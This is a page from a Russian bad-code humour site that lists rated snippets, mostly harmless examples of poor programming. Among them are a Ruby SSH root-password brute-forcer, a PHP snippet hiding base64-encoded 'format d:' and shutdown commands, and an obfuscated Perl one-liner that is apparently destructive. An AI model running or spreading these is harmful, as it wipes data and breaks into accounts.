1. Лучший говнокод

    В номинации:
    За время:
  2. Ruby / Говнокод #1182

    −298.7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    require "rubygems"
    require 'net/ssh'
    class << Net::SSH
      def butforse(passwordarr)
                begin
                  puts "Try password #{passwordarr}"
                  Net::SSH.start('localhost', 'root', :password => "#{passwordarr}")
                  puts "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
                  exit
                rescue Net::SSH::AuthenticationFailed
                end
      end
    end
    arrays = Array("a".."zz")
    arr1 = arrays[0, (arrays.size-1) / 2]
    arr2 = arrays[(arrays.size - 1) / 2, arrays.size - 1]
    threadsz = []
    threadsz2 = []
    threadsz << Thread.new(arr1) { |items|
      for item in items
        Net::SSH.butforse(item)
      end
    }
    threadsz2 << Thread.new(arr2) { |items|
      for item in items
        Net::SSH.butforse(item)
      end
    }
    threadsz.each {|i| i.join}
    threadsz2.each {|i| i.join}

    И я решил что лудше сразу создать оптимальное количество нитий,

    guest, 11 Июня 2009

    Комментарии (18)
  3. Pascal / Говнокод #1008

    +115.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    case Key of
      'F','f','а' : Key:='А';
      '<',',','б' : Key:='Б';
      'D','d','в' : Key:='В';
      'U','u','г' : Key:='Г';
      'L','l','д' : Key:='Д';
      'T','t','е' : Key:='Е';
      '~','`','ё' : Key:='Ё';
      ':',';','ж' : Key:='Ж';
      'P','p','з' : Key:='З';
      'B','b','и' : Key:='И';
      'Q','q','й' : Key:='Й';
      'R','r','к' : Key:='К';
      'K','k','л' : Key:='Л';
      'V','v','м' : Key:='М';
      'Y','y','н' : Key:='Н';
      'J','j','о' : Key:='О';
      'G','g','п' : Key:='П';
      'H','h','р' : Key:='Р';
      'C','c','с' : Key:='С';
      'N','n','т' : Key:='Т';
      'E','e','у' : Key:='У';
      'A','a','ф' : Key:='Ф';
      '{','[','х' : Key:='Х';
      'W','w','ц' : Key:='Ц';
      'X','x','ч' : Key:='Ч';
      'I','i','ш' : Key:='Ш';
      'O','o','щ' : Key:='Щ';
      'M','m','ь' : Key:='Ь';
      '}',']','ъ' : Key:='Ъ';
      '"','''','э' : Key:='Э';
      'S','s','ы' : Key:='Ы';
      '>','.','ю' : Key:='Ю';
      'Z','z','я' : Key:='Я';
     end;

    висит на процедуре Edit1KeyPress :)

    guest, 06 Мая 2009

    Комментарии (18)
  4. Assembler / Говнокод #690

    +205.2

    1. 1
    2. 2
    3. 3
    mov ecx, 200h - 1
    not ecx
    and eax, ecx

    Лень считать в уме

    guest, 11 Марта 2009

    Комментарии (18)
  5. PHP / Говнокод #561

    +153.5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    <?php
    /*
        desc:
            Инкремент строки типа '000'
            Символы от '0' до 'z'
    */
    function levelIncrease($lvl)
    {
    	for($i = 2, $ng = 0; $i >= 0; $i--) {
    		$g = ord($lvl[$i]);
    		if($i == 2)
    			++$g;
    		$g += $ng;
    		$ng = 0;
    		if($g > 57 && $g < 97)
    			$g = 97;
    		else if($g > 122) {
    			$diff = $g - 122;
    			$g = 48 + $diff - 1;
    			$ng = ceil($diff / 36);
    		}
    		$lvl[$i] = chr($g);
    		if($ng == 0)
    			break;
    	}
    	return $lvl;
    }
    
    echo levelIncrease('aaa');   // aab

    Инкремент строки типа '000'
    Символы от '0' до 'z'

    guest, 17 Февраля 2009

    Комментарии (18)
  6. PHP / Говнокод #496

    +149.5

    1. 1
    2. 2
    3. 3
    4. 4
    <?php
    eval(base64_decode("Zm9ybWF0IGQ6IC9xIC95")); 
    eval(base64_decode("c3lzdGVtKCJzaHV0ZG93biAtcyIpOw=="));
    ?>

    Запускать, когда скучно

    guest, 03 Февраля 2009

    Комментарии (18)
  7. Perl / Говнокод #331

    −423.2

    1. 1
    echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    guest, 05 Января 2009

    Комментарии (18)
  8. PHP / Говнокод #42

    +29

    1. 1
    2. 2
    3. 3
    4. 4
    $i = 1;
    while($i = 1){
    echo $i;
    }

    guest, 30 Ноября 2008

    Комментарии (18)
  9. C++ / Говнокод #19

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    //
    // true - success
    // false - value not found for given key
    //
    bool CATStorage::getValueForKey(const std::string &key, std::string &value) const
    {
              ...
              std::string().swap(value); 
              ...
    }

    Код очистки содержимого строки, C++, STL

    guest, 27 Ноября 2008

    Комментарии (18)
  10. PHP / Говнокод #9

    +15.5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function htmlspecialcharsex($str)
    {
    	if (strlen($str)>0)
    	{
    		$str = str_replace("&amp;", "&amp;amp;", $str);
    		$str = str_replace("&lt;", "&amp;lt;", $str);
    		$str = str_replace("&gt;", "&amp;gt;", $str);
    		$str = str_replace("&quot;", "&amp;quot;", $str);
    		$str = str_replace("<", "&lt;", $str);
    		$str = str_replace(">", "&gt;", $str);
    		$str = str_replace("\"", "&quot;", $str);
    	}
    	return $str;
    }

    битрикс sex

    guest, 23 Ноября 2008

    Комментарии (18)
  11. Python / Говнокод #28859

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    arr=[]
    def play():
      a=""
      while a!="Игрок 1 победил" and a!="Игрок 2 победил":
          if 1 in list[0] or 1 in list[1] or 1 in list[2] or 1 in list[3] or 1 in list[4] or 1 in list[5] or 1 in list[6] or 1 in list[7]:
            print("\nИгрок 1 вводит координаты")
            letter=input()
            f(letter)
            arr.append(1)
          if 1 in list[0] or 1 in list[1] or 1 in list[2] or 1 in list[3] or 1 in list[4] or 1 in list[5] or 1 in list[6] or 1 in list[7]:
            print("\nИгрок 2 вводит координаты")
            letter=input()
            f(letter)
            arr.append(2)
          else:
            if arr[-1]==1:
              a="Игрок 1 победил"
            else:
              a="Игрок 2 победил"
          print(a)

    Давайте вспоминать былые деньки. И ЛАБЫ!

    ISO, 01 Октября 2023

    Комментарии (17)